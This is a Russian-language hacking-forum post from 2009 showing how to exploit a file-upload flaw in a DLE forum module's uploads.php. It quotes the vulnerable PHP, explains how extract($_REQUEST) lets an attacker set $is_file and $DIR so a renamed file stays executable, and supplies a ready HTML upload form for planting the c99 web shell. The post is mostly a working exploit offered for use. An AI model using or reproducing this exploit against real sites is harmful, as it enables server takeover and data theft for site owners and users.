Показать сообщение отдельно

  #2  
Старый 19.03.2009, 05:49
BlackSun
Познавший АНТИЧАТ
Регистрация: 01.04.2007
Сообщений: 1,268
С нами: 10058786

Репутация: 4589


По умолчанию

Аплоад файлов с обходом проверки расширения

Имеем аплоадер файлов
/engine/forum/sources/modules/uploads.php?area=&fid=1&tid=0&pid=0&wysiwyg=0&do=add
Где fid - айди форума, где разрешен аплоад

В файле uploads.php имеем:
PHP код:
// это нам только наруку
extract($_REQUEST, EXTR_SKIP);

$fid = intval($_REQUEST['fid']);
$tid = intval($_REQUEST['tid']);
$pid = intval($_REQUEST['pid']);
..........
$result = $db->super_query("SELECT * FROM " . PREFIX . "_forum_forums WHERE id = '$fid'");

$access_upload = $result['access_upload'];

$access_upload = explode(":", $access_upload);

if (!
in_array($member_id['user_group'], $access_upload))
{
    die(
"Hacking attempt!");
} 
Далее идут проверки
PHP код:
if ($do == "add")
{
    
$allowed_images = array("gif", "jpg", "png", "jpe", "jpeg");

    
$allowed_files = explode(',', $forum_config['upload_type']);

    
$file_name = $_FILES['attachment']['name'];

    
$file_explode = explode(".",$file_name);

    
$file_type = strtolower(end($file_explode));

    
$attachment_size = $_FILES['attachment']['size'];

    if (
in_array($file_type, $allowed_images) AND $forum_config['img_upload'])
    {
        if (
$attachment_size < ($forum_config['img_size']*1024))
        {
            
$is_image = TRUE;
            
            
$DIR = "images/";
        }
        else
        {
            
$image_size_error = true;
        }
    }

    if (
in_array($file_type, $allowed_files) AND $upload_file_access)
    {
        
$is_file = TRUE;

        
$DIR = "files/";
    }

    if (
$is_file OR $is_image)
    { 
Переменные $is_file, $is_image, $DIR нигде ранее не определены, поэтому передав их GET \ POST запросом, можно залить файл с любым расширением, но .. это самое расширение обрезается =\
Файлы аплоадятся в /uploads/forum/files
PHP код:
        $uploadfile = UPLOAD_DIR.$DIR.basename($_FILES['attachment']['name']);

        if (
move_uploaded_file($_FILES['attachment']['tmp_name'], $uploadfile)){
            
$file_name = $_FILES['attachment']['name'];
            
$file_size = $_FILES['attachment']['size'];
        }
        
        if (
file_exists(UPLOAD_DIR . $DIR . $file_name)){

        if (
$is_file)
        {
            
$ftype = 'file';

            
$file_rename = time()."_".totranslit($file_name);
        }
        else
        {
            
$ftype = 'image';

            
$file_rename = time().".".$file_type;
        }

        
rename(UPLOAD_DIR . $DIR . $file_name, UPLOAD_DIR . $DIR . $file_rename); 
Тут и пригодится переменная $DIR: &DIR=files/c99.php. - имя файла будет c99.php.1237426502_c99 при этом он будет выполняться, а не вываливаться как обычный текстовый файл! (Проверял на локале, ubuntu)

В итоге залить шелл можно следующей формой:
Код:
<form method="post" enctype="multipart/form-data" action="?area=&fid=1&tid=0&pid=0&wysiwyg=0&do=add&is_file=1&files/c99.php."><br /><input class="forum_input" name="attachment" type="file" style="width:200px" />&nbsp;<input class="button" value="Загрузить" type="submit" style="background-color:#53E490;" /></form><p><font color="red">Не допустимый формат файла!</font></p></fieldset><br /><fieldset><legend><strong>Загруженные файлы</strong></legend><form method="post" enctype="multipart/form-data" action="?area=&fid=1&tid=0&pid=0&wysiwyg=0&do=del"><table class="dle_forum" width="100%"></table><br />Ни одного файла не загружено.</form>
 
Ответить с цитированием